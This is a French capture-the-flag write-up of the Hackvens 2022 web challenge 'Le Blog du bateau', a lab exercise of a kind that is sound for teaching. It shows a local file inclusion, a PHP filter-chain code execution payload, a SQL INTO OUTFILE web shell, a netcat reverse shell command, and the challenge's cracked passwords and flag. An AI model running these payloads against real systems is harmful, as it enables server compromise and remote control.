Hackvens 2022 - Le Blog du bateau
Détails du challenge
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Hackvens 2022 | Le Blog du bateau | Web | 56 | 15 |
Ez web :).
Have fun !
https://blog.hackvens.fr
TL;DR
Le site web proposé était développé en PHP et disposait d’une vulnérabilité de type LFI. L’utilisation du récent payload générique (pour ne pas dire universel) permet de récupérer une exécution de code rapidement sur le serveur. Les joueurs les moins avertis passeront eux par un filtre standard permettant de lire les sources du code en base64. Cette dernière, cumulée à la découverte d’un panel “DbNinja” permet alors la récupération du fichier de configuration du manager de base de données. Le cassage du mot de passe contenu dans la configuration permet ensuite un accès à un interpréteur de commande SQL. Les primitives d’écriture de fichier depuis le SGBD sont accessibles via la directive SELECT INTO OUT FILE, ce qui permet l’écriture d’un web shell et l’exécution de commande. Le flag final se situe dans un dossier utilisateur au travers d’un binaire, nécessitant un shell interactif (reverse shell traditionnel).
Le Blog du bateau
Le 7 octobre 2022 avait lieu l’évènement Hackvens organisé par Advens. Avec plusieurs collègues d’Imineti by Niji nous avons eu l’opportunité de participer au challenge (CTF) proposé en fin d’évènement. Cet article retrace notre solution pour le challenge “Blog du bateau”.
Point d’entrée
La navigation sur l’application du challenge nous propose une URL intéressante avec plusieurs paramètres. Le paramètre view
retient notre attention puisque celui-ci contient un nom de fichier qui semblerait inclus, en l’occurrence blog.php
:
La modification du nom de fichier par ../../../../etc/passwd
confirme une vulnérabilité de type Local File Inclusion.
Bypass générique
La publication récente d’un payload générique pour les vulnérabilités de type LFI en PHP permet théoriquement l’exécution de code PHP via l’inclusion de filtres PHP successifs. Afin d’illustrer cette injection, le code PHP <?=`$_GET[0]`;;?>
est utilisé et encodé au travers de cette technique. Celui-ci a la particularité d’être relativement court et d’exécuter la commande system()
fournie dans le premier paramètre de l’URL. La commande ls
a ainsi pu être réalisée, confirmant notre exécution de code.
Solution attendue
L’utilisation d’outils de reconnaissance comme nuclei ou nikto permet de récupérer le fichier robots.txt
. Ce dernier nous informe de la présence d’un dossier /manager/
sur l’application (ce même dossier peut également être découvert au travers d’outils comme ffuf ou dirsearch).
L’accès au manager nécessite dans un premier lieu le mot de passe de l’utilisateur DbNinja, puis dans un second temps un mot de passe lié à la base de données.
Le deuxième mot de passe peut être retrouvé en accédant aux sources de l’application principale. Ces dernières peuvent être récupérées au travers de la vulnérabilité LFI et l’utilisation de wrapper comme php://filter/convert.iconv.utf-8.utf-16/resource=
:
Le mot de passe de la base de données est donc Sk1pSk1pingSk1pSk1ping
.
Comme l’indique la procédure de réinitialisation de mot de passe, le premier mot de passe peut être retrouvé au travers du fichier userdata.php
situé dans dbninja/_users/your-user
:
N’ayant pas le nom de l’utilisateur, mais disposant d’une liste d’utilisateurs probables (fournie dans le fichier robots.txt
), nous utilisons l’outil Burp pour essayer d’extraire le contenu du fichier /manager/_users/$USER/userdata.php
où $USER
est le nom d’utilisateur bruteforcé. L’utilisateur “adm” est finalement récupéré et le contenu de son fichier également (ici le wrapper php://filter/convert.base64-encode/resource=
est utilisé) :
La récupération du fichier nous fournis ainsi le hash 732bd03528717ee235c2f218c0cc7a6c46713ca9
qu’il est ensuite possible de casser à l’aide de l’outil hashcat et une wordlist comme darkc0de.txt
, ou bien au travers de sites spécialisés comme crackstation :
Le compte à utiliser est donc adm
:Supercalifragilisticexpialidocious
, et le mot de passe de la connexion SQL est Sk1pSk1pingSk1pSk1ping
. Nous voilà maintenant connectés à la base de données :
Dans la section “Query Editor”, il est possible d’utiliser la commande SQL SELECT ... INTO OUTFILE ...
pour écrire sur le système de fichiers. Le shell PHP <?php echo(system($_GET['cmd'])); ?>
peut être écrit dans le fichier zeecka.php
de la racine du site web à l’aide de la commande SQL suivante:
SELECT "<?php echo(system($_GET['cmd'])); ?>" INTO OUTFILE "/var/www/html/zeecka.php";
L’exécution de commande système est confirmée par la commande id
:
Shell et Flag
La récupération d’un “Reverse shell” passera ensuite par l’utilisation du binaire nc
avec la commande nc \$IP \$PORT -e /bin/sh
sur la cible et un “listener” nc -lvp \$PORT
sur notre serveur de command & contrôle.
Le flag est ensuite récupérable dans le dossier \$HOME
du seul utilisateur au travers du binaire getflag
:
Flag
hackvens{SkipSkipIngSk1perSkiPed_Flag}